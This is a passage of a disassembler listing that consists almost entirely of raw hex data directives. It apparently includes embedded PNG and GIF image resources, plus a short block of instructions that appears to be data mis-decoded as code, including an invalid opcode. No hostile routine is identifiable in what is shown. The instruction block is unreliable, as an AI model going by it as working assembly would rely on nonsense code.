dd 3E46B939h, 0AC937172h, 0B932E0E4h, 327DBDC9h, 0E52B7394h
dd 0CAB6D729h, 962D8E56h, 2DDADCB3h, 5EB53973h, 0C36972FEh
dd 92D0E62Ch, 3D9DCCB9h, 339AFE33h, 5735E6ABh, 8E6ECDB6h
dd 0CCE39C2Ch, 0F9D339D8h, 0B3BE76B0h, 0E7ACF360h, 0CFB9F2BEh
dd 0A033FD7Bh, 41E82AEDh, 0DABFB60Fh, 0E5A1AFFCh, 0A745E85Bh
dd 1E8ED1B5h, 1D23A42Bh, 5A5349D6h, 34BE96ABh, 69AD3355h
dd 0ABFA22CBh, 8DB4EDE5h, 0C056ED3Fh, 0F4D47A8Ah, 4F63EF24h
dd 0FB5263CDh, 6ACAF53h, 4D63A72Fh, 0DAD359D4h, 0B5BEB6A7h
dd 510D5D67h, 0C7FAEB58h, 0AFA8C6BCh, 60E42D7Fh, 0C4D8747Fh
dd 4DB1B22Eh, 2364EC8Ah, 6D2DD979h, 0C97B3B6h, 7B4A9A6Dh
dd 0F6AE4EDAh, 0ED8DAF4Eh, 0A85B6B28h, 9536EEDCh, 70D49DBFh
dd 0E4CAFB8Bh, 0CFB9AA86h, 5F74E5ADh, 0EEECDD75h, 0ACDBBB2h
dd 798378EFh, 37B575DEh, 6FAD736Bh, 0DEBBE2D5h, 0BFF336FDh
dd 74701D4Dh, 0A1BFDAA7h, 0FBB782Eh, 2B84E89Eh, 70CDE5Ch
dd 7E1FAAF5h, 5A9788EFh, 0F7DF14D1h, 719E31C0h, 0E3BBF2D4h
dd 0C838FD03h, 71BA49FEh, 0B41C8F87h, 3E793F22h, 78F2AE53h
dd 0EFE5BCB2h, 75CC397Ch, 0CF89F25Bh, 0BF32B29Ch, 0AE733979h
dd 0BCD6DF73h, 39FF28E7h, 0F3CB39D0h, 0E8B35FA1h, 0D0A99746h
dd 0A5F38E93h, 388A1C83h, 5FC5B4F4h, 438A704Dh, 3F5286FDh
dd 1E6DC228h, 0FD787FF0h, 0BB0F60EBh, 764EC7D8h, 8623F3AFh
dd 7C3AE4D4h, 3563E9Dh, 0CF1A2382h, 0E6347B88h, 0D3BAF74Eh
dd 0C0D11A5Dh, 0CEF3DEBBh, 0BDFBBDF7h, 0BBFF80EFh, 0F84F03E0h
dd 0F0BE1BC1h, 0E2BC3F88h, 0C5F8CF13h, 90EEDE2Fh, 0C6357BB7h
dd 52038F81h, 447DF2D3h, 71ED2AFAh, 421C7B0Fh, 0BD084E0Bh
dd 7A4F47E8h, 0F4C11427h, 0EABD3FA8h, 0D5FACF53h, 0B0F5BEBBh
dd 63ECBD7Fh, 0DBD9FB4Fh, 0BFB8F6BEh, 0CF73EEBDh, 5EFBD2FBh
dd 0C4385AF4h, 0F91EE3Dh, 8FE3EA6Ah, 3C254F9Ah, 4509D1E2h
dd 8E126284h, 0A6247E88h, 53EAFD4Fh, 0C091117Fh, 0FE1C22FEh
dd 7BEE0881h, 0FFE0FBBFh, 4FB3F73Eh, 0FF97ED7Eh, 3F4FE6FCh
dd 0FEAFD7FAh, 0FDFFB3F6h, 0FC3F8FEEh, 0FAFF2FE7h, 0F8FADF9Fh
dd 1DF47E9Fh, 40508931h, 0A0F513A2h, 7C74B876h, 0A87C947Eh
dd 40F70F44h, 0AF07D06h, 0B60B90B6h, 18100B70h, 81381281h
dd 16815814h, 98188178h, 81B81A81h, 1E81D81Ch, 0B82081F8h
dd 0B680F81h, 6A0810AFh, 0C7980F70h, 7998044Ch, 0FA55B76Ch
dd 10740EB0h, 0B80AC0Bh, 0C40C20C4h, 98380C30h, 83B83A83h
dd 3E83D83Ch, 184083F8h, 84384284h, 46845844h, 18488478h
dd 0C483584h, 0B10AC0B8h, 0B0EB0770h, 7C882A82h, 0FA55A82Dh
dd 0B0A70950h, 0CC0C00Ah, 5E0E60C9h, 186085F8h, 86386286h
dd 66865864h, 98688678h, 86B86A86h, 6E86D86Ch, 0C0E186B8h
dd 0A90C00Ch, 520950A5h, 18774CB8h, 5598554Ah, 0B207A0F9h
dd 50E70B30h, 0EC0DF0Eh, 86885884h, 88FE8878h, 0B88A8898h
dd 88D88C88h, 9088F88Eh, 38928918h, 89189489h, 0E70E50E9h
dd 0A0B20B30h, 4C387907h, 647889Dh, 30F94A78h, 0BB0AE07h
dd 0F00EF0FFh, 0B8AA0EE0h, 8AD8AC8Ah, 0B08AF8AEh, 38B28B18h
dd 8B58B48Bh, 0B88B78B6h, 88BA8B98h, 0FF0EF8Bh, 730B10BDh
dd 24C189F0h, 8A14698Ch, 680F74A0h, 50BA0A80h, 8CD8CC76h
dd 0D08CF8CEh, 2068CF8h, 8D100176h, 0D88D78D6h, 0E8D68D98h
dd 680AE0Bh, 0DF4BF8C4h, 0D75376B8h, 5597556Bh, 0A40680F6h
dd 0B8DA8CB0h, 8D68EC8Eh, 5F8D4204h, 38ED8D57h, 8F58F48Fh
dd 0A80BC75Eh, 14D38DE0h, 8C64668Eh, 6C0F449Fh, 70B50A00h
dd 7574750Fh, 1438906h, 9094360h, 90790B0Fh, 0F244890Eh
dd 30B60F70h, 8FC06C0Ah, 59164B7h, 56C28E35h, 9005548Eh
dd 0F00B209Ch, 30DF0E80h, 92592492h, 28927926h, 0B92A9299h
dd 92C92C92h, 2F92B001h, 692FE39h, 49339252h, 92D93592h
dd 3A939938h, 892593B9h, 0B10F00Eh, 0FB91509Bh, 791A8548h
dd 55391C6Ch, 0B1098900h, 90DF0ED0h, 94F94E0Dh, 52951950h
dd 59549539h, 95795695h, 56001957h, 0C0D995A9h, 95C94E95h
dd 5F95D95Eh, 89619509h, 96796695h, 0D9969968h, 90ED0DF0h
dd 9420890Ah, 639184CEh, 849E8FE4h, 8D06C0Fh, 0DF0EC0ADh
dd 0D97C0D60h, 97F97E97h, 82981980h, 59849839h, 198598h
dd 0D6988984h, 0A97C98A0h, 97E98C98h, 8698F98Fh, 59949939h
dd 0D699699h, 840A6883h, 24CD9700h, 87B5F497h, 6C0F9554h
dd 0B0A40860h, 0D30DC0Eh, 0AA9A99A8h, 0D9AC9AB9h, 9AF9AE9Ah
dd 0B19B19B0h, 49B00019h, 9B60D39Bh, 49B89A8h, 82DB9AB2h
dd 9BF9B29Bh, 0C29C19C0h, 0B0DC9A89h, 800A00Eh, 585399Ch
dd 65539A08h, 7F06C0Fh, 0DB0EA09Eh, 59D40CD0h, 9D79D69Dh
dd 0DA9D99D8h, 0DC9DB9FEh, 19DD9DD9h, 9E09DC00h, 0D49E20CDh
dd 49E59E49h, 9DE9E69Eh, 0EC9EB9EAh, 0B9D89ED9h, 9B0EA0Dh
dd 789C907Eh, 0D75A9448h, 54B80270h, 9A07E900h, 0E0D90E90h
dd 0A01A000Ch, 4A03A02h, 7A06A05Ah, 0A09A08A0h, 4001A0Ah
dd 0E0CEA0CAh, 0A00A0EA0h, 10A02A11h, 7A16A0AAh, 0A19A18A1h
dd 0E90D9A08h, 0E9F30990h, 0A204B399h, 0CC94555Ch, 0C5539476h
dd 9407B06h, 1A0D00DDh, 0FA2EA2DAh, 0A13A14A2h, 1A15A11h
dd 7A12A34Ah, 0A30A35A3h, 7A3BA3Ah, 40DD0D0Ah, 9F407B09h
dd 64A224CAh, 0F5529CC5h, 760680Eh, 3C9FF094h, 3A4EA4DAh
dd 0A14206A0h, 31205A35h, 3A55204Ah, 0A59A4FA1h, 980D9A2Dh
dd 18FA06F0h, 55E9F697h, 53726717h, 0B069A485h, 0A69A5AA4h
dd 6CA6BA6Ah, 90CEA6DAh, 690970Dh, 6199DA5Fh, 0C75456DAh
dd 0EF55471h, 9B06F06Eh
dd 0E0D70DD0h, 0A81A80A6h, 0FEA83A82h, 3F0D7A01h, 406E06FAh
dd 0A8A4AAA4h, 4DA465F8h, 0F0780F35h, 0BF08306h, 0CB0CA0C5h
dd 9A98A970h, 0A9BA9AA9h, 9EA9DA9Ch, 1AA0A9FAh, 0AA3AA2AAh
dd 0A6AA5AA4h, 0AAA4AA7Ah, 0BF0C50Ch, 7806F07Ch, 5807A8C0h
dd 5696AAA7h, 660950F8h, 0A08F0550h, 0C60C10Ah, 0BEABD0C8h
dd 1AC0ABFAh, 0AC3AC2ACh, 0C60C70C8h, 9AC8AC7Ah, 0ACBACAACh
dd 0C40C7ACCh, 1AD0ACFAh, 0AD3AD2ADh, 0C4AD5AD4h, 0A0C1AC6Ah
dd 5508F0Ah, 0D3876065h, 79199F94h, 5697129Fh, 6004A82Fh
dd 308905F0h, 0AEB0AB0Ah, 0EEAEDAECh, 1AF0AEFAh, 0ACAEBAFh
dd 0F6AF5AF4h, 9AF8AF7Ah, 0ACAFAAFh, 0FEAFDAF2h, 1B00AFFAh
dd 0B03B02B0h, 0A3AF4AF2h, 5F0890h, 85104806h, 9D97454Bh
dd 205D8084h, 6F06004h, 1607F07Eh, 9B18B17Bh, 0B1BB1AB1h
dd 1EB1DB1Ch, 1B20B1FBh, 0B23B22B2h, 26B25B24h, 7EB23Bh
dd 4206007h, 82FE805Dh, 92A8EB0Dh, 509F0F05h, 5307508h
dd 38B3704Fh, 0FB3AB39Bh, 0B3B04904h, 40B3FB3Eh, 3B42B41Bh
dd 0B45B44B4h, 48B47B46h, 7B3DB46Bh, 75053B4h, 6409F085h
dd 0EB0E531Ah, 8C79D49h, 5805005Eh, 0BB5AB59Bh, 46050B5h
dd 60B5FB5Ch, 3B62B61Bh, 0B65B64B6h, 68B67B66h, 0EB67B69Bh
dd 5EB68B5h, 297C308Ch, 2B306B58h, 0FA0F459h, 0D80DA0E8h
dd 0BB7AB790h, 0D8B7CB7h, 800D50D4h, 3B82B81Bh, 0B85B84B8h
dd 88B87B86h, 0BB8AB89Bh, 0B8DB8CB8h, 7FB8FB8Eh, 0AB7AB8BBh
dd 0FB0E40Dh, 24B72B71h, 0DA266D1Ah, 0B9D8F691h, 0A0B9FB9Eh
dd 78D0BA1Bh, 0B52B5176h, 0F54DB73h, 0BBAABA99h, 759907BAh
dd 0A5A77A62h, 3BAC553Bh, 0BB5BB4BBh, 76BAE444h, 0CA788E4Ah
dd 0B5358174h, 0BE4BEBBCh, 14B7BBFBh, 4B5BC2BCh, 0D2BC5BC4h
dd 8BC8BA75h, 0BCBBCA58h, 59574562h, 6BCE45B4h, 0F946B58h
dd 0BB94CB6Dh, 4042E1BFh, 69054300h, 0BDFBDEBBh, 0E2BE1BE0h
dd 5BE4BE3Bh, 434BE6BEh, 4B454452h, 41CF4560h, 0B9743040h
dd 28571BD3h, 842C42A4h, 3DB4713Dh, 0FA3FD3DDh, 0DBFCBFBBh
dd 0BFFBFEBFh, 2C01C00h, 5C04C03Ch, 3FF3ECC0h, 340242Ah
dd 0D3D33B44h, 0C0FC0EC0h, 12C11C10h, 5C14C13Ch, 0C17C16C1h
dd 0D53C3C18h, 41C6BEC3h, 3AD13C39h, 22C21C20h, 5C24C23Ch
dd 0C27C26C2h, 2AC29C28h, 0E168C2BCh, 0BF6C1C46h, 32390380h
dd 5C34C33Ch, 0C37C36C3h, 3AC39C38h, 2382C3BCh, 0C3F37D39h
dd 42C41C40h, 5C44C43Ch, 0C47C46C4h, 4AC49C48h, 0DC4CC4BCh
dd 0C4FC4EC4h, 52C51C50h, 5C54C53Ch, 0C57C56C5h, 5AC59C58h
dd 1C4AC5BCh, 3B0010h, 474E5089h, 0A1A0A0Dh, 0D000000h
dd 52444849h, 0F000000h, 13000000h, 608h, 57C24F00h, 0AAh
dd 474B6206h, 0FF0044h, 0A0FF00FFh, 93A7BDh, 49F60200h
dd 78544144h, 0CD938DDAh, 1855634Fh, 0DCE77FC6h, 50A1697Bh
dd 4C2DB94Ah, 0E92285A6h, 0A2247190h, 5C6E8909h, 75B230B8h
dd 0C8574B31h, 4CC6E11Fh, 5C6BD842h, 67FA1712h, 8D1ADC68h
dd 0C98CDF8Eh, 0E8F90F84h, 0D2942D00h, 7BDEF6DBh, 70545CBEh
dd 0C93E8D9Ch, 0CE7ABBC9h, 79E73BFBh, 0B1B1B15Fh, 0FAFAE1F1h
dd 5AD607FAh, 421273CBh, 439CE000h, 9B35E108h, 0F6F6D6CDh
dd 272727F6h, 41079F27h, 0C3D7AF40h, 0A5AB56AFh, 1AD5D5D5h
dd 0B9F9ADFFh, 0B78FB9B9h, 0CEDCB6B6h, 4217CECEh, 24926408h
dd 24924009h, 0D68A69A4h, 0D635AD0Ah, 1835AC68h, 0B7680063h
dd 952A54DBh, 0E6E6E6C2h, 0E54AD5A7h, 0D214AA61h, 0E78B7739h
dd 0D09C7E80h, 75F80FEBh, 67678CEFh, 5065522Dh, 0CD9A30CAh
dd 1366CD2h, 7A3D1FF2h, 0B94CD9F4h, 0C37FAEFCh, 4E9279E4h
dd 0FBEFCFB7h, 4EC822Dh, 6F6812B1h, 10670B94h, 0D72CC7D7h
dd 75EBD4ABh, 2E2C318Ch, 0D6D6E62Eh, 3793DED6h, 0CFA756E6h
dd 98268EB3h, 154FD128h, 3522BE3Ah, 924C7229h, 0BC381529h
dd 228A22B8h, 41A4860h, 7E192041h, 453DD72Ah, 0EED24CCBh
dd 7DDD10B4h, 4219CB16h, 797BA23Fh, 609F9C4Eh, 0E89CFCF7h
dd 7EFE0AEAh, 0F8CA52A6h, 3C40D002h, 0F4EA2396h, 0DE0D3B88h
dd 3147B95Ch, 94AAC19Ch, 0DEC5A4F8h, 30C505E9h, 0E22A9FA4h
dd 60F180C1h, 0BE1CE704h, 0DA70214h, 0EC73ABCDh, 99D99668h
dd 18CCB190h, 0B5831C49h, 34138B94h, 0F0F0E594h, 0CA53A100h
dd 0ECDBF1F9h, 408EB1A4h, 0F3A7E64Ah, 7166554Ch, 28CB90A5h
dd 368D3842h, 0A4B16729h, 76449DD9h, 15285847h, 6B779E11h
dd 201085F6h, 25C5D105h, 4C07BB47h, 0C7E7DC2Eh, 7CFF43C8h
dd 69A7F688h, 0A7DA3B5Ch, 0C5A051BFh, 5A8669F7h, 83EAF2CFh
dd 66F9A189h, 0D3CA972Ah, 5F0CBD64h, 0DA716E3Eh, 192E01Ch
dd 0DE88E751h, 50859B75h, 1777BB53h, 91DD0565h, 371C7F3Ch
dd 0FFE14AD1h, 2A5010C3h, 3C1FB8E4h, 0E18EE961h, 780EEFABh
dd 99866EFDh, 2EBA2507h, 53CC294Bh, 0A6F8A709h, 6E32E031h
dd 37F87381h, 29271613h, 0F5BC14BEh, 4386BC6h, 0C9E7D4AFh
dd 82F1C6E5h, 0BC7EBE11h, 117B0FCFh, 7C251CBFh, 0EF1ED3FBh
dd 2644B3BFh, 675CF23Bh, 6F61186h, 42F90031h, 2A35AD11h
dd 4DA9584Dh, 21E9E4F2h, 0B31E7FBBh, 277210B2h, 1DB5A3CCh
dd 0F17E76h, 12F0F1C4h, 4D4D4C01h, 97EDF0F2h, 0A8979249h
dd 0F2E486CCh, 0F8B5B445h, 94A42862h, 62F20BB7h, 74C5124Dh
dd 1E1080B1h, 632124FDh, 0E108522Ch, 9A456B5Bh, 10A528A6h
dd 74CBFC42h, 0E738493h, 992DD4A5h, 8C630A52h, 756AD514h
dd 2DAB56B9h, 0FF0CA52Bh, 0AF4A5253h, 0FD3C68D1h, 9DCB690Bh
dd 0C9ED7997h, 2, 4E454900h, 6042AE44h, 82h, 0
; ---------------------------------------------------------------------------
inc edi
dec ecx
inc esi
cmp [ecx], bh
popa
push 84001700h
adc eax, 0CFCFFF00h
call eax
sar bh, 1
fstp9 st(7)
jmp ecx
; ---------------------------------------------------------------------------
dd 0E3E3FFE1h, 0FFE4E4FFh, 0E6FFE5E5h, 0E7E7FFE6h, 0FFE8E8FFh
dd 0ECFFE9E9h, 0EEEEFFECh, 0FFEFEFFFh, 0F1FFF0F0h, 0F2F2FFF1h
dd 0FFF3F3FFh, 0F5FFF4F4h, 0F6F6FFF5h, 8 dup(0FFFFFFFFh)
dd 4F921FFh, 1F000A01h, 2C00h, 680000h, 5000017h, 8E27E0FEh
dd 689E6964h, 0EB6CAEAAh, 0CD44027Eh, 78DF6D74h, 0EF7CEFAEh
dd 68C110DBh, 8F1A2BF0h, 206524C8h, 0D09E4C82h, 0AD4A74A8h
dd 0ACD8AF5Ah, 49110AD6h, 78B0E0BEh, 0CF9B2E4Ch, 2D1AB4E8h
dd 0F0DFB88Ah, 0AF4E7CB8h, 0FCF8EFDBh, 0FBE909BDh, 828180FFh
dd 86858483h, 22858887h, 8E8D8C0Fh, 9291908Fh, 96959493h
dd 0E229597h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AA0D22A4h
dd 0AEADACABh, 0B2B1B0AFh, 0B3B5B4B3h, 0BAB90C22h, 0BEBDBCBBh
dd 0C2C1C0BFh, 22C2C4C3h, 0CAC9C80Bh, 0CECDCCCBh, 0D2D1D0CFh
dd 0A22D1D3h, 0DAD9D8D7h, 0DEDDDCDBh, 0E2E1E0DFh, 0E60922E0h
dd 0EAE9E8E7h, 0EEEDECEBh, 0EFF1F0EFh, 0F6F5F2E5h, 0E6F9F8F7h
dd 0FEFD0822h, 0A0300FFh, 0A0B0481Ch, 0D0883C1h, 0B0C0388Ah
dd 1087C3A1h, 489C4A23h, 8BC5A2B1h, 0DC621715h, 0C7A3B1C8h
dd 18450C8Fh, 0A4B24918h, 452893C9h, 0C95CAA53h, 964BA5B2h
dd 98140622h, 0CDA6B349h, 0EA73389Bh, 0A7B3C9DCh, 3E4C9D4Fh
dd 0B449F804h, 48A3D1A8h, 118040Bh, 0A7810040h, 9D4AA350h
dd 0D5AAB54Ah, 6AB358ABh, 0C0002A95h, 0C360AF8Bh, 21FB1D8Ah
dd 3B0004h, 38464947h, 0E06139h, 0F70060h, 0F7F2E800h
dd 0CFFFFFFFh, 0D5C6E5DEh, 4F4F4FDBh, 0F9FCFBFBh, 0F1EDFAF9h
dd 7C7A78F5h, 0D2DAD9D8h, 0F0ECD4D3h, 0DBD6CFF3h, 0EEE3DFD9h
dd 8582F8F4h, 0E3DED687h, 0D4E2DDD5h, 0E9E0E1DCh, 0ECE7DEEEh
dd 0E3F4EFE6h, 0EBE2F1ECh, 0EFEAE1F0h, 0E2A9A6A1h, 0DCCEEDE9h
dd 0E2DBCDE3h, 0D9E0D9CBh, 0F1E7E8E3h, 0F5F0E6F6h, 0E4F4EFE5h
dd 0D1C9F3EEh, 0DDD9D1D5h, 0ABF4F0E8h, 908CB4B1h, 0EEEBE592h
dd 0DFEBE8E2h, 706EE8E5h, 0FEFDFB71h, 0D4E2E1DFh, 0E0D1D7D6h
dd 0EBE4D5E7h, 0DDECE8DFh, 0E1D8EAE6h, 0F6F2E9E5h, 0D9EFEBE2h
dd 0D9CAF0E9h, 0DCD6C7DFh, 0DAEDE8DCh, 0F2E8E8E4h, 9D9B96F6h
dd 0E5CAC7BFh, 0F8EFF0EDh, 0F1EFE9FBh, 63BEBCB5h, 5A596565h
dd 0FFFFFE5Ah, 0A6CBCBCAh, 0F2ECA7A7h, 0DCDFDBEEh, 0FDCAD9CAh
dd 0CFB2FDFEh, 0E0EDE2ACh, 0B4A4CAABh, 0D2B7AED0h, 0B3D3B9B1h
dd 0BFB6D5BCh, 0C1A0BAD7h, 86BD9A8Eh, 0ACA1CFB3h, 0AD8596C9h
dd 7BC09E5Ch, 6370BC98h, 0AE8C2693h, 5AAD8B5Bh, 5873BA9Dh
dd 88570C88h, 118A5B0Dh, 92188F60h, 0B89A62B2h, 75BA9E6Eh
dd 5C098B5Ch, 8A5B0A8Bh, 0B89590Ah, 7A0D8B5Dh, 0B0903B9Fh
dd 56AC8D57h, 0B96EB89Dh, 92638FD1h, 8906208h, 5F088F60h
dd 8D60088Eh, 88C5D08h, 8E3DA47Fh, 0A8884EAFh, 53B1914Bh
dd 955AB999h, 0B69A5DB3h, 6ABA9F64h, 0B985C5AEh, 0DED195CCh
dd 0C8E4DAB9h, 68CFE9E0h, 95660896h, 8936608h, 64089265h
dd 8E620891h, 88D6208h, 7818986Eh, 0B7972A9Fh, 54B49455h
dd 9D5AB598h, 0B2955EBCh, 63C1A359h, 9F62BEA1h, 0C6A961BCh
dd 6BBDA26Ah, 0AB74C0A7h, 0C9B47BC3h, 9CD2C08Ah, 0CAA3D6C5h
dd 0E1D6AED8h, 0DEF0EABEh, 0EFE9F5F1h, 0F8F5E7F3h, 0F3F9F7EFh
dd 0A8E6E9E8h, 0C9AC67C5h, 6CC7AB6Ch, 0B169C1A6h, 0CAAF70CCh
dd 6EC9AE6Fh, 0B570CBB0h, 0DBC77ACFh, 0B9E6D896h, 0B56FCAB0h
dd 0D2B974CFh, 76D0B677h, 0B97AD5BCh, 0D7BE78D2h, 7DD6BD7Dh
dd 0C17ED4BDh, 0E4D383D9h, 0ACE4D5A6h, 0D5B2E7D8h, 0E4D4B0E4h
dd 0B1E7D9A7h, 0C6D8ECE7h, 0E5E5BDC6h, 0B5C1C4E3h, 0FFBEDBE5h
dd 0B0C69BE3h, 0A1D5EF84h, 0F4ADE3FEh, 0E4FCABDBh, 0BFEAFFB6h
dd 0FDD5F0FDh, 0D1FF6DC9h, 7CB5D57Ch, 0F49FDAFCh, 0A0B69BD4h
dd 0A7DEFD76h, 0FC93BED6h, 0E5F5CBEBh, 36B2FEC8h, 0FE4EBCFEh
dd 0BAF160C1h, 6BB9E864h, 0F579C9FBh, 0BFED78C6h, 81CEFC77h
dd 0F574B7E0h, 0C5F080C9h, 89D3FE7Fh, 0E287CCF7h, 0D0F77EBCh
dd 94D7FE8Eh, 0E894D3F9h, 0CDF08AC4h, 9AD7FB93h, 0EC95C9EAh
dd 0ACDF55B0h, 72C5FE63h, 0F56DBFF4h, 97EA73C2h, 40A0E729h
dd 0E0A4C4DCh, 6DCD509Fh, 3F7DCC14h, 0CBBECCDFh, 0BEDA5888h
dd 0FEFEFEAEh, 0F7FCFCFCh, 0F2F2F7F7h, 0EDEDEDF2h, 0E7EAEAEAh
dd 0ACACE7E7h, 2CACh, 0E00000h, 8000060h, 0D86D00FFh, 85F04180h
dd 13088380h, 0B0C85C2Ah, 1087C3A1h, 489C4A23h, 8BC5A2B1h
dd 7C1E3318h, 0C0861041h, 6C043081h, 0E4A380E8h, 53289380h
dd 0B2C95CAAh, 3097CBA5h, 499CCA63h, 9BCDA6B3h, 0C4966B38h
dd 8361D1h, 70052082h, 800221C8h, 9348A3D1h, 0B4CA5D2Ah
dd 50A7D3A9h, 4A9D4AA3h, 0ABD5AAB5h, 0C88A8D58h, 4127E1C1h
dd 8AB22191h, 0ACB64B1Dh, 0B168B3D9h, 7049F086h, 70B7DA68h
dd 9B9DCAE3h, 178C2B96h, 0DDD02A37h, 5FAFB7CBh, 186E1FB9h
dd 42D571C4h, 5A090483h, 2DC5BF8h, 1F151209h, 4C9E4AFEh
dd 838E2C59h, 48D6A984h, 0BF5F8FDCh, 0F33B8B7Eh, 812FD7DBh
dd 53A8CA8Ah, 597A4EABh, 2AA96640h, 17E3F05Ah, 0C5E7F3FAh
dd 48B746FEh, 0EFB56160h, 0F5B7DDFh, 1FA09A98h, 6BB7CEE9h
dd 0AFECEEE3h, 0D0E00F88h, 701DA3A3h, 1DD43870h, 0F679F62Dh
dd 0B890BFCh, 0B85DE005h, 0ABF048FFh, 0D2E72FF6h, 4AB7ABD3h
dd 0A7F5805Dh, 4ED367D9h, 0E812450h, 80761F11h, 0BC62D0D0h
dd 0F848DB3Fh, 47AD7A2h, 7B54B816h, 0C3E535EFh, 2FDB368h
dd 7D4B73DEh, 0D7142A0h, 81845116h, 1902192h, 709D4B86h
dd 3E085342h, 0FA3F81F5h, 0EDE3834h, 8480594Fh, 91044868h
dd 6C425342h, 2B09D468h, 8DC04560h, 0D460F004h, 38DC2B08h
dd 48008C84h, 92098040h, 51808065h, 6465FA1Ah, 103D54h
dd 56208795h, 0FA0A14F7h, 3F8FB3ECh, 5520B809h, 595DD905h
dd 354D0F44h, 4904129h, 90D57980h, 81993400h, 0B0024790h
dd 266F6A64h, 4F9BD7D9h, 87E4F935h, 54E8854Ch, 0D768063Fh
dd 49910282h, 0FB68C285h, 0A0FF024h, 0A1F0214Dh, 70F000A2h
dd 8230AE3h, 4002639h, 10646048h, 26851E95h, 0F0200F00h
dd 94C1080h, 430F43D9h, 9A6408DCh, 42A9842h, 60200091h
dd 98439882h, 0AC6950FFh, 82710826h, 8A502310h, 0DE4DA980h
dd 31868428h, 8D41951Ah, 546A4946h, 50AC08A5h, 0EE4D91EAh
dd 3C86A68Ah, 8E63DAE0h, 42012BDh, 0B03C2B05h, 4C1287C2h
dd 128DECEBh, 52C98D0h, 0E788FAADh, 0F5365281h, 62553EC1h
dd 0FC5522F9h, 982D954h, 0E39A865Ah, 9AC81210h, 52C6A7EBh
dd 48B0696Ah, 10E9EA6Dh, 0EA252E3Ah, 0F098008Fh, 201251C0h
dd 48AAD46Ch, 9A639ABEh, 6D70F713h, 801247C2h, 524D0500h
dd 0C3066710h, 9002B51Ah, 290B22FDh, 0A1044305h, 50439BA6h
dd 42982C90h, 90C23C2Ch, 0C3DC3F1Fh, 2C526D0Ah, 9C00C2ECh
dd 63B44190h, 0BA679A32h, 4061014Ch, 4024BF95h, 1C0B5543h
dd 41104FDDh, 1027538h, 0F3C03E1Bh, 5A4F33CCh, 129A9D29h
dd 0A7ACAB29h, 0AFEA2522h, 430654Ah, 2AB71052h, 367651B1h
dd 1490B05Ah, 0F6C7994h, 0C2390B1Fh, 9B16E4CCh, 6A72BFA9h
dd 36D8FFh, 0B5892729h, 192F5651h, 0EC27DE77h, 4EDB2B9Ah
dd 0D442B002h, 232B2B09h, 0E7BB4394h, 20F902D4h, 345582DDh
dd 104FCD1Ch, 66253846h, 290A78ABh, 0E696D6ABh, 1B8FA9ACh
dd 0F6F6C12h, 40403C23h, 6547ACh, 0BB6951EAh, 0DFDB76DAh
dd 0A5372B82h
dd 2499B774h, 8DEB3CB4h, 0FC19DF7Ah, 0A3926ABDh, 0B321ACF7h
dd 0B7BAFA38h, 9F4694CEh, 0A39499AAh, 0B53796Bh, 0A22ED3E0h
dd 6553E956h, 0BA04FF11h, 0EF56E8D4h, 0C7D64048h, 0A6D4AEA6h
dd 94AEDF84h, 2D9FB5A8h, 0B30FFDACh, 6DE37BAAh, 0A6B0509Fh
dd 0CD532A66h, 0B132956Ah, 32590DEDh, 0E35BF2h, 0ADC10237h
dd 580F708Fh, 328EDC12h, 0C3DC638h, 5DA14672h, 14A5CECFh
dd 165313Dh, 3F53E801h, 7D157080h, 41014D1Ch, 46529F30h
dd 7D302B27h, 7244700Ah, 292FB94h, 0ACCC003Fh, 0D512744Dh
dd 3B64C00Ah, 28ED5186h, 990F80Fh, 3BB562FFh, 4C010DFEh
dd 0DCDE040Dh, 24AE46CCh, 477E4CA1h, 910C9DA1h, 0CA1EBA37h
dd 33336C89h, 0D55B1301h, 2ED81E26h, 0E1E33367h, 8264C60Ah
dd 86CB6813h, 0F6D28ADBh, 10807298h, 57016956h, 90D1C031h
dd 31A58450h, 228E79A5h, 7612A400h, 30CDD923h, 0CA3AAC60h
dd 0B2457CCDh, 5ACD4D32h, 10CA3266h, 5482354Dh, 455560ADh
dd 72B59FACh, 6132BBF5h, 1A725ACBh, 45645299h, 71523F00h
dd 956C9376h, 2374788Ch, 8525D1Dh, 87D67012h, 9EB1A948h
dd 2B90EB81h, 0ACB740A0h, 25CAC695h, 246D2948h, 0E1F60142h
dd 20B0AB80h, 12C02C00h, 0BEC2FE87h, 3A0DFCAAh, 0FCA5C1Eh
dd 7C8F8002h, 1FA018h, 0A53481D8h, 14129509h, 0D8F80880h
dd 0E98601C7h, 0E55DC497h, 6649C098h, 0F704A52h, 9CE3D07Bh
dd 3A87B0F4h, 76CEC9D7h, 0E99D13B2h, 0B80947ACh, 88DF4F49h
dd 0A0BF28F3h, 0F1E63CC7h, 0FA7E8EFFh, 84FD9FF3h, 4A074087h
dd 63C282D0h, 6120F61Eh, 994A173Dh, 800027Bh, 4486A4FAh
dd 6AD12A27h, 16A2F458h, 374686B5h, 78650D6Ah, 851EA3F4h
dd 0CA143D07h, 0C5F292D0h, 8798D1A1h, 0E51AD44h, 0A5E33474h
dd 316988D0h, 9A8C718Ah, 3819031Eh, 7634A9CDh, 8C6453CAh
dd 0A0CB1943h, 92B23447h, 9C8B3B6h, 0E85AB538h, 4FC0813Dh
dd 0A783646Ah, 54869D3Ch, 0A9D54AA7h, 58193542h, 0B239EACDh
dd 62918D71h, 3966A8A5h, 2A926FEAh, 0E81205C8h, 6950FD9Eh
dd 0CDA6235h, 1CE33867h, 398730E9h, 665741C4h, 0E21995D8h
dd 0F63A6B90h, 18620C4Ah, 4535AFE3h, 91B631C6h, 0E2FC7A0Dh
dd 6B0C81ABh, 564356D8h, 9EE81A0Bh, 35A950BFh, 700E41D0h
dd 0E11C2380h, 0B56686F0h, 7C6F8DA1h, 1D98B343h, 0D1CB6887h
dd 23369752h, 0A9A0D0A6h, 0D861B438h, 638A3EB2h, 9811BB1Ah
dd 0C4BB3966h, 54AB26FFh, 98243819h, 332B8470h, 0AD6F2E32h
dd 0C91E9652h, 2258AE25h, 3ADA5B05h, 0D6A2A601h, 68DE1BA4h
dd 11D2D395h, 0AB56176Dh, 32AE55Bh, 0F462823Eh, 8DA3781Ah
dd 88BB0521h, 708F5DB4h, 3DDB3005h, 3226CD0h, 75A1286Fh
dd 0B2D56CADh, 8A3B4483h, 0E0B243Fh, 1B37D86Eh, 3BACE0D9h
dd 775FC1DAh, 0DA1DD7F8h, 46386D00h, 0CAD30E8Bh, 38F2B574h
dd 1028526Ch, 28E926A3h, 33864h, 0C63B6CCAh, 642C2D26h
dd 0C7407C40h, 0E0BC551Ah, 205B004Ah, 90CF99E3h, 0DC1EC572h
dd 0EA1BC18Ah, 14CB0DA4h, 4C2B15B3h, 98BC3B66h, 29801009h
